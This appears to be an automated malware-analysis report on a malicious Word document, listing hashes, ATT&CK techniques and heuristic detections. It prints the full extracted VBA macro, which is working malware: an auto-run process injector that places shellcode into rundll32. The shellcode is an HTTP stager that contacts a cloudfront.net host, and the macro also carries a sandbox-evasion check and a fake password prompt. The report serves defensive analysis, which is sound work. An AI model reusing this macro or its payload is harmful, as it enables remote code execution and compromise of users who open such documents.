Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5204f349bf2a2534…

MALICIOUS

Office (OLE)

57.0 KB Created: 2018-09-05 16:22:00 Authoring application: Microsoft Office Word First seen: 2018-10-07
MD5: 0cad2f6d7749a439e2ccd057d472564c SHA-1: e4217e7e5f50fe04a87a71a71c11c125b1ed147c SHA-256: 5204f349bf2a25342137ca06ec178a800946b720434f554a65cd9b8801dab7bd
454 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document that uses a lure to convince the user to enable content, likely to execute VBA macros. The VBA code references Windows APIs such as CreateProcess, VirtualAlloc, WriteProcessMemory, and CreateRemoteThread, indicating it attempts to inject code into another process. The presence of CVE_2007_3899 suggests exploitation of a memory corruption vulnerability in Microsoft Word.

Heuristics 15

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Malware.Valyria-10012625-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10012625-0
  • Reference to WriteProcessMemory API critical SC_STR_WRITEPROCESSMEMORY
    Reference to WriteProcessMemory API
  • Reference to CreateRemoteThread API critical SC_STR_CREATEREMOTETHREAD
    Reference to CreateRemoteThread API
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
            If Len(Environ("ProgramW6432")) > 0 Then
                sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
            Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
    Sub AutoOpen()
        Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
    Sub Workbook_Open()
        Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
        Dim sUserName As String
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        sUserName = Environ$("username")
        sHostName = Environ$("computername")
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9040 bytes
SHA-256: ceab45b5092259c6d78fa68dc763ed9d6385dc419c118e6a11978a9b945effef
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

#If VBA7 Then
    Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr
    Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
    Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
    Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#Else
    Private Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
    Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
    Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
    Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#End If
#If VBA7 Then
    Public Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal Milliseconds As LongPtr)
#Else

    Public Declare Sub Sleep Lib "kernel32" (ByVal Milliseconds As Long)
#End If

Sub Auto_Open()
    Dim sUserName As String
    Dim sHostName As String
    Dim myByte As Long, myArray As Variant, offset As Long
    Dim pInfo As PROCESS_INFORMATION
    Dim sInfo As STARTUPINFO
    Dim sNull As String
    Dim sProc As String
    Dim myValue As Variant

    sUserName = Environ$("username")
    sHostName = Environ$("computername")
    
    sHostEnd = Right(sHostName, 3)
    sHostStart = Left(sHostName, 4)
    
    If UCase(sHostEnd) = "-PC" Or UCase(sHostStart) = "WIN-" Then
            MsgBox "MacroCrypt is incompatible with this version of Microsoft Office!", 48
    Else
        #If VBA7 Then
            Dim rwxpage As LongPtr, res As LongPtr
        #Else
            Dim rwxpage As Long, res As Long
        #End If
        Sleep (5000)
    myArray = Array(-4, -24, -119, 0, 0, 0, 96, -119, -27, 49, -46, 100, -117, 82, 48, -117, 82, 12, -117, 82, 20, -117, 114, 40, 15, -73, 74, 38, 49, -1, 49, -64, -84, 60, 97, 124, 2, 44, 32, -63, -49, _
13, 1, -57, -30, -16, 82, 87, -117, 82, 16, -117, 66, 60, 1, -48, -117, 64, 120, -123, -64, 116, 74, 1, -48, 80, -117, 72, 24, -117, 88, 32, 1, -45, -29, 60, 73, -117, 52, -117, 1, _
-42, 49, -1, 49, -64, -84, -63, -49, 13, 1, -57, 56, -32, 117, -12, 3, 125, -8, 59, 125, 36, 117, -30, 88, -117, 88, 36, 1, -45, 102, -117, 12, 75, -117, 88, 28, 1, -45, -117, 4, _
-117, 1, -48, -119, 68, 36, 36, 91, 91, 97, 89, 90, 81, -1, -32, 88, 95, 90, -117, 18, -21, -122, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, -1, _
-43, -24, 0, 0, 0, 0, 49, -1, 87, 87, 87, 87, 87, 104, 58, 86, 121, -89, -1, -43, -23, -92, 0, 0, 0, 91, 49, -55, 81, 81, 106, 3, 81, 81, 104, -69, 1, 0, 0, 83, _
80, 104, 87, -119, -97, -58, -1, -43, 80, -23, -116, 0, 0, 0, 91, 49, -46, 82, 104, 0, 50, -96, -124, 82, 82, 82, 83, 82, 80, 104, -21, 85, 46, 59, -1, -43, -119, -58, -125, -61, _
80, 104, -128, 51, 0, 0, -119, -32, 106, 4, 80, 106, 31, 86, 104, 117, 70, -98, -122, -1, -43, 95, 49, -1, 87, 87, 106, -1, 83, 86, 104, 45, 6, 24, 123, -1, -43, -123, -64, 15, _
-124, -54, 1, 0, 0, 49, -1, -123, -10, 116, 4, -119, -7, -21, 9, 104, -86, -59, -30, 93, -1, -43, -119, -63, 104, 69, 33, 94, 49, -1, -43, 49, -1, 87, 106, 7, 81, 86, 80, 104, _
-73, 87, -32, 11, -1, -43, -65, 0, 47, 0, 0, 57, -57, 117, 7, 88, 80, -23, 123, -1, -1, -1, 49, -1, -23, -111, 1, 0, 0, -23, -55, 1, 0, 0, -24, 111, -1, -1, -1, 47, _
102, 111, 111, 116, 101, 114, 46, 112, 110, 103, 0, 50, 55, -114, -120, 12, -30, -45, 116, -77, 22, -103, 50, 47, 56, -49, -114, -38, -123, -45, -60, -2, 27, -122, 102, -26, 35, -83, 67, -121, _
72, 14, -93, -105, -93, -46, 30, 123, -117, 12, -109, 60, 80, 10, -45, -98, 12, 102, 120, 21, -52, 109, -125, 111, 48, -66, -13, 18, 16, -46, 57, -30, 23, 38, 38, 35, 58, -109, 0, 85, _
115, 101, 114, 45, 65, 103, 101, 110, 116, 58, 32, 77, 111, 122, 105, 108, 108, 97, 47, 53, 46, 48, 32, 40, 99, 111, 109, 112, 97, 116, 105, 98, 108, 101, 59, 32, 77, 83, 73, 69, _
32, 57, 46, 48, 59, 32, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84, 32, 54, 46, 48, 59, 32, 84, 114, 105, 100, 101, 110, 116, 47, 53, 46, 48, 59, 32, 66, 79, 73, 69, 57, _
59, 69, 78, 85, 83, 41, 13, 10, 0, -46, 91, 20, 120, 1, -65, -57, 6, -66, 56, -10, -25, -85, 41, 118, -28, 119, 24, 112, 9, 52, -56, -88, 100, 75, -22, 13, 56, -108, 7, -102, _
120, -49, 86, 112, 124, 90, -39, 83, -58, -102, 89, -112, -94, 30, -108, 121, 109, -110, -53, 48, -102, 93, -117, 38, 45, -85, 127, -117, -126, -75, 45, -107, 118, 121, -11, -112, -62, -88, 115, 114, _
108, 71, 9, 93, -87, 1, 31, -33, -48, 98, -24, 98, -27, 27, 72, 120, 51, 75, -29, 8, 59, -97, -70, -20, -46, 35, -45, 121, -13, -69, 46, 73, -23, 108, 88, -21, -14, -59, -7, 103, _
-63, 70, -64, -97, 124, 113, -124, 35, 99, 11, 21, 50, -57, -94, 17, -100, -80, 30, 41, 108, -111, 127, 32, 110, -57, -46, -123, 58, 115, 50, 116, -86, 35, 69, -76, -84, -7, -61, -2, 65, _
104, 111, -85, 18, 123, -64, -35, 108, -122, -113, -7, 37, -18, -82, -101, -54, 61, 95, 9, -4, 28, 114, -91, 107, -28, -43, -55, -99, -63, -68, 47, 64, -33, 103, -101, 96, -31, 88, -80, -75, _
51, -23, -86, 54, 80, -79, -38, 127, 26, -20, 33, 83, 10, -84, 11, 34, -39, 75, -59, 58, 126, 6, 0, 104, -16, -75, -94, 86, -1, -43, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, _
64, 0, 87, 104, 88, -92, 83, -27, -1, -43, -109, -71, 0, 0, 0, 0, 1, -39, 81, 83, -119, -25, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, -106, -119, -30, -1, -43, -123, -64, 116, _
-58, -117, 7, 1, -61, -123, -64, 117, -27, 88, -61, -24, -119, -3, -1, -1, 100, 49, 110, 107, 52, 111, 48, 50, 109, 116, 111, 118, 103, 50, 46, 99, 108, 111, 117, 100, 102, 114, 111, 110, _
116, 46, 110, 101, 116, 0, 100, 40, -72, -1)
        If Len(Environ("ProgramW6432")) > 0 Then
            sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
        Else
            sProc = Environ("windir") & "\\System32\\rundll32.exe"
        End If

        res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)

        rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)
        For offset = LBound(myArray) To UBound(myArray)
            myByte = myArray(offset)
            res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)
        Next offset
        res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)
        myValue = InputBox("Please enter your password to decrypt the document contents:")
        MsgBox "The password is incorrect. Please try again.", 48
    End If
    
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub